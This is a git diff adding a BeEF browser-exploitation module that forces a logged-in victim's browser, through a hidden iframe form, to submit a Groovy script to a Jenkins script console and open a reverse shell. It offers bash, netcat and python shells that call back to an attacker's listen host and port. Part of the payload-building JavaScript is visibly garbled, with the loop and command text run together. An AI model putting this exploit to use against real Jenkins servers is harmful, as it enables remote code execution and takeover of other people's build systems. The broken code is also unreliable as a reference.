diff --git a/modules/exploits/jenkins_groovy_code_exec/command.js b/modules/exploits/jenkins_groovy_code_exec/command.js new file mode 100644 index 000000000..ce2214fa9 --- /dev/null +++ b/modules/exploits/jenkins_groovy_code_exec/command.js @@ -0,0 +1,68 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var rproto = '<%= @rproto %>'; + var rhost = '<%= @rhost %>'; + var rport = '<%= @rport %>'; + var lhost = '<%= @lhost %>'; + var lport = '<%= @lport %>'; + var target = rproto + '://' + rhost + ':' + rport + '/script'; + var timeout = 15; + var payload_name = '<%= @payload %>'; + var peer = rhost + ':' + rport; + + cleanup = function() { + try { + document.body.removeChild(jenkins_groovy_code_exec_iframe_<%= @command_id %>); + } catch(e) { + beef.debug("Could not remove iframe: " + e.message); + } + } + setTimeout("cleanup()", timeout*1000); + + payload = function() { + var whitespace = ''; + for (var i=0; i&1" ].execute()'; + payload = payload.replace(/ /g, whitespace); + break; + } + return payload + } + + exploit = function() { + var groovy = payload(); + beef.debug(peer + " - Sending payload (" + groovy.length + " bytes)"); + var jenkins_groovy_code_exec_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", + [ + {'type':'hidden', 'name':'script', 'value':groovy }, + {'type':'hidden', 'name':'Submit', 'value':'Run' }, + ]); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + } + + try { + exploit(); + } catch(e) { + beef.debug(peer + " - Exploit failed: " + e.message); + } + +}); diff --git a/modules/exploits/jenkins_groovy_code_exec/config.yaml b/modules/exploits/jenkins_groovy_code_exec/config.yaml new file mode 100644 index 000000000..0cba1f5df --- /dev/null +++ b/modules/exploits/jenkins_groovy_code_exec/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + jenkins_groovy_code_exec: + enable: true + category: "Exploits" + name: "Jenkins Code Exec CSRF" + description: "This module attempts to get a reverse shell from Jenkins web interface Groovy Script console. Works if the user is authenticated with console privileges or authentication is disabled." + authors: ["Vadodil Joel Varghese", "OSVDB-110820", "bcoles"] + target: + working: ["ALL"] diff --git a/modules/exploits/jenkins_groovy_code_exec/module.rb b/modules/exploits/jenkins_groovy_code_exec/module.rb new file mode 100644 index 000000000..7ef5f58cf --- /dev/null +++ b/modules/exploits/jenkins_groovy_code_exec/module.rb @@ -0,0 +1,50 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Jenkins_groovy_code_exec < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host") + lhost = "" if lhost == "0.0.0.0" + return [ + { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, + { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '80' }, + { 'name' => 'rproto', + 'type' => 'combobox', + 'ui_label' => 'Target Protocol', + 'store_type' => 'arraystore', + 'store_fields' => ['rproto'], + 'store_data' => [ ['http'], ['https'] ], + 'emptyText' => 'Select a protocol (HTTP/HTTPS)', + 'valueField' => 'rproto', + 'displayField' => 'rproto', + 'mode' => 'local', + 'forceSelection' => 'true', + 'autoWidth' => true + }, + { 'name' => 'payload', + 'type' => 'combobox', + 'ui_label' => 'Payload', + 'store_type' => 'arraystore', + 'store_fields' => ['payload'], + 'store_data' => [ ['reverse_bash'], ['reverse_netcat'], ['reverse_python'] ], + 'emptyText' => 'Select a payload', + 'valueField' => 'payload', + 'displayField' => 'payload', + 'mode' => 'local', + 'forceSelection' => 'false', + 'autoWidth' => true + }, + { 'name' => 'lhost', 'ui_label' => 'Listen Host', 'value' => lhost }, + { 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '8080' } + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end